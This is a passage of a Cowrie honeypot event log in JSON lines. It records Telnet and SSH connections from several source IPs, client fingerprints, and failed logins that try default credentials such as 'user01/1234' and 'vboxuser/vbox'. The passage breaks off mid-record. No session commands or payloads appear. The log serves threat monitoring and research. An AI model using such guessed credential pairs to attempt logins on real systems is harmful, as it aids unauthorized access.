{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:36.467278Z","src_ip":"157.66.34.121","session":"d5ad3c3301d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:36.701949Z","src_ip":"157.66.34.121","session":"d5ad3c3301d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.299721717834473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:37.178742Z","src_ip":"117.53.44.204","session":"a79de7306b62","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user01","password":"1234","message":"login attempt [user01/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:37.677508Z","src_ip":"157.66.34.121","session":"d5ad3c3301d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58364,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f483f2b762","protocol":"telnet","message":"New connection: 117.53.44.204:58364 (159.203.135.109:23) [session: 31f483f2b762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.005820Z"}
{"eventid":"cowrie.session.closed","duration":30.250919103622437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.114064Z","src_ip":"117.53.44.204","session":"d8613b8210e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70814871788025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.303269Z","src_ip":"117.53.44.204","session":"2ff77dee5773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52874,"dst_ip":"159.203.135.109","dst_port":23,"session":"7790f4c3bdd9","protocol":"telnet","message":"New connection: 185.26.126.47:52874 (159.203.135.109:23) [session: 7790f4c3bdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.369355Z"}
{"eventid":"cowrie.session.closed","duration":32.81683945655823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.489885Z","src_ip":"209.159.146.115","session":"7f0d6a5b870b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58370,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f80f7c5d106","protocol":"telnet","message":"New connection: 117.53.44.204:58370 (159.203.135.109:23) [session: 4f80f7c5d106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.565764Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58378,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da6fe0cf87f","protocol":"telnet","message":"New connection: 117.53.44.204:58378 (159.203.135.109:23) [session: 6da6fe0cf87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.813951Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:38.914805Z","src_ip":"157.66.34.121","session":"d5ad3c3301d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58388,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba6c37dec47a","protocol":"telnet","message":"New connection: 117.53.44.204:58388 (159.203.135.109:23) [session: ba6c37dec47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:39.073369Z"}
{"eventid":"cowrie.session.closed","duration":33.85376238822937,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:39.459835Z","src_ip":"209.159.146.115","session":"79125fdc02be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.70299696922302,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:39.477484Z","src_ip":"23.254.167.244","session":"266e97443008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.25867223739624,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:39.678561Z","src_ip":"23.254.167.244","session":"d6c366af484f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58400,"dst_ip":"159.203.135.109","dst_port":23,"session":"371914ba7f02","protocol":"telnet","message":"New connection: 117.53.44.204:58400 (159.203.135.109:23) [session: 371914ba7f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:39.874200Z"}
{"eventid":"cowrie.session.closed","duration":30.298491954803467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:41.148719Z","src_ip":"117.53.44.204","session":"ef87fd351eb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07909917831421,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:41.490769Z","src_ip":"23.254.167.244","session":"800a7c0d9a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58402,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb9eed50b13c","protocol":"telnet","message":"New connection: 117.53.44.204:58402 (159.203.135.109:23) [session: fb9eed50b13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:41.753669Z"}
{"eventid":"cowrie.session.closed","duration":35.11206769943237,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:41.782262Z","src_ip":"23.254.167.244","session":"ab1d2a7d4641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58410,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd1d860387b2","protocol":"telnet","message":"New connection: 117.53.44.204:58410 (159.203.135.109:23) [session: dd1d860387b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:42.118088Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":58414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b8535fc77d9","protocol":"telnet","message":"New connection: 117.53.44.204:58414 (159.203.135.109:23) [session: 9b8535fc77d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:42.201090Z"}
{"eventid":"cowrie.session.closed","duration":30.583691835403442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:43.190752Z","src_ip":"117.53.44.204","session":"00b36f045f00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58440,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40c6f4dba6d","protocol":"telnet","message":"New connection: 23.254.167.244:58440 (159.203.135.109:23) [session: e40c6f4dba6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:43.394971Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58886,"dst_ip":"159.203.135.109","dst_port":23,"session":"09cafd2414d9","protocol":"telnet","message":"New connection: 23.254.167.244:58886 (159.203.135.109:23) [session: 09cafd2414d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:43.702825Z"}
{"eventid":"cowrie.session.closed","duration":30.886022329330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:44.132133Z","src_ip":"117.53.44.204","session":"fbd7dd40e434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33764,"dst_ip":"159.203.135.109","dst_port":23,"session":"596404a5ecf0","protocol":"telnet","message":"New connection: 117.53.44.204:33764 (159.203.135.109:23) [session: 596404a5ecf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:45.897296Z"}
{"eventid":"cowrie.session.closed","duration":38.58681106567383,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:46.388026Z","src_ip":"185.26.126.47","session":"7ecd867a9216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e58c34d64cdf","protocol":"telnet","message":"New connection: 117.53.44.204:33778 (159.203.135.109:23) [session: e58c34d64cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:46.715321Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33784,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1557b23134","protocol":"telnet","message":"New connection: 117.53.44.204:33784 (159.203.135.109:23) [session: 9a1557b23134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:46.863384Z"}
{"eventid":"cowrie.session.closed","duration":30.92465829849243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:47.118162Z","src_ip":"117.53.44.204","session":"9fce22029f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5513916015625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:47.121912Z","src_ip":"117.53.44.204","session":"a835d8447b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34696,"dst_ip":"159.203.135.109","dst_port":23,"session":"c324e4d6200a","protocol":"telnet","message":"New connection: 209.159.146.115:34696 (159.203.135.109:23) [session: c324e4d6200a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:47.223803Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33800,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9a68194e37","protocol":"telnet","message":"New connection: 117.53.44.204:33800 (159.203.135.109:23) [session: 3c9a68194e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:47.389413Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33816,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aac64a8fc91","protocol":"telnet","message":"New connection: 117.53.44.204:33816 (159.203.135.109:23) [session: 9aac64a8fc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:47.601898Z"}
{"eventid":"cowrie.session.closed","duration":30.643807411193848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:48.153477Z","src_ip":"117.53.44.204","session":"586b21b1778d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46340727806091,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:48.335218Z","src_ip":"23.254.167.244","session":"bd2c13c39e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40108,"dst_ip":"159.203.135.109","dst_port":23,"session":"03d7090446ef","protocol":"telnet","message":"New connection: 209.159.146.115:40108 (159.203.135.109:23) [session: 03d7090446ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:48.357107Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33818,"dst_ip":"159.203.135.109","dst_port":23,"session":"422f4240099a","protocol":"telnet","message":"New connection: 117.53.44.204:33818 (159.203.135.109:23) [session: 422f4240099a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:48.479980Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33822,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c55c32e0e1c","protocol":"telnet","message":"New connection: 117.53.44.204:33822 (159.203.135.109:23) [session: 4c55c32e0e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:48.564252Z"}
{"eventid":"cowrie.session.closed","duration":35.20851397514343,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:48.844556Z","src_ip":"209.159.146.115","session":"e1bd3557854b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72143030166626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:49.177572Z","src_ip":"117.53.44.204","session":"94e9e1daea98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.36859488487244,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:49.263131Z","src_ip":"23.254.167.244","session":"6b1de4b8546a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.062857151031494,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:49.645175Z","src_ip":"209.159.146.115","session":"368ee18cd6a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28266763687134,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:50.131842Z","src_ip":"209.159.146.115","session":"512c22ac5abc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46308922767639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:50.307175Z","src_ip":"117.53.44.204","session":"fb96971728b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.26101565361023,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:50.363975Z","src_ip":"209.159.146.115","session":"adf58bcf56f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33834,"dst_ip":"159.203.135.109","dst_port":23,"session":"463b73186c05","protocol":"telnet","message":"New connection: 117.53.44.204:33834 (159.203.135.109:23) [session: 463b73186c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:50.591761Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":33844,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc947e4aec29","protocol":"telnet","message":"New connection: 117.53.44.204:33844 (159.203.135.109:23) [session: bc947e4aec29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:50.646153Z"}
{"eventid":"cowrie.session.closed","duration":30.323752403259277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:51.110073Z","src_ip":"117.53.44.204","session":"5ca29c2686d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":55258,"dst_ip":"159.203.135.109","dst_port":23,"session":"c02de4db5bdf","protocol":"telnet","message":"New connection: 117.53.44.204:55258 (159.203.135.109:23) [session: c02de4db5bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:53.054919Z"}
{"eventid":"cowrie.session.closed","duration":30.435732126235962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:53.130236Z","src_ip":"117.53.44.204","session":"049b5787e9b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":49644,"dst_ip":"159.203.135.109","dst_port":22,"session":"52f56056c215","protocol":"ssh","message":"New connection: 186.13.24.118:49644 (159.203.135.109:22) [session: 52f56056c215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.103431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.107792Z","src_ip":"186.13.24.118","session":"52f56056c215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.698922634124756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.111868Z","src_ip":"117.53.44.204","session":"fb77ad889ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":55268,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fc40486773d","protocol":"telnet","message":"New connection: 117.53.44.204:55268 (159.203.135.109:23) [session: 5fc40486773d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.202496Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":55276,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc03ca439d22","protocol":"telnet","message":"New connection: 117.53.44.204:55276 (159.203.135.109:23) [session: dc03ca439d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.250497Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.285125Z","src_ip":"186.13.24.118","session":"52f56056c215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84570813179016,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.290927Z","src_ip":"209.159.146.115","session":"973a4fb67d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.5531005859375,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:54.975804Z","src_ip":"209.159.146.115","session":"b7c86743d115","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"vbox","message":"login attempt [vboxuser/vbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:55.027160Z","src_ip":"186.13.24.118","session":"52f56056c215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":55278,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3cea2c3150f","protocol":"telnet","message":"New connection: 117.53.44.204:55278 (159.203.135.109:23) [session: a3cea2c3150f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:55.127600Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46120,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5b7e87cc5a","protocol":"telnet","message":"New connection: 23.254.167.244:46120 (159.203.135.109:23) [session: 2d5b7e87cc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:55.244617Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":55282,"dst_ip":"159.203.135.109","dst_port":23,"session":"e37040f1ea38","protocol":"telnet","message":"New connection: 117.53.44.204:55282 (159.203.135.109:23) [session: e37040f1ea38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.105596Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.206585Z","src_ip":"186.13.24.118","session":"52f56056c215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.37063479423523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.367172Z","src_ip":"23.254.167.244","session":"957823d2f964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38086,"dst_ip":"159.203.135.109","dst_port":22,"session":"99e2f76e7929","protocol":"ssh","message":"New connection: 159.203.92.129:38086 (159.203.135.109:22) [session: 99e2f76e7929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.621113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:07:56.626355Z","src_ip":"159.203.92.129","session":"99e2f76e7929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ss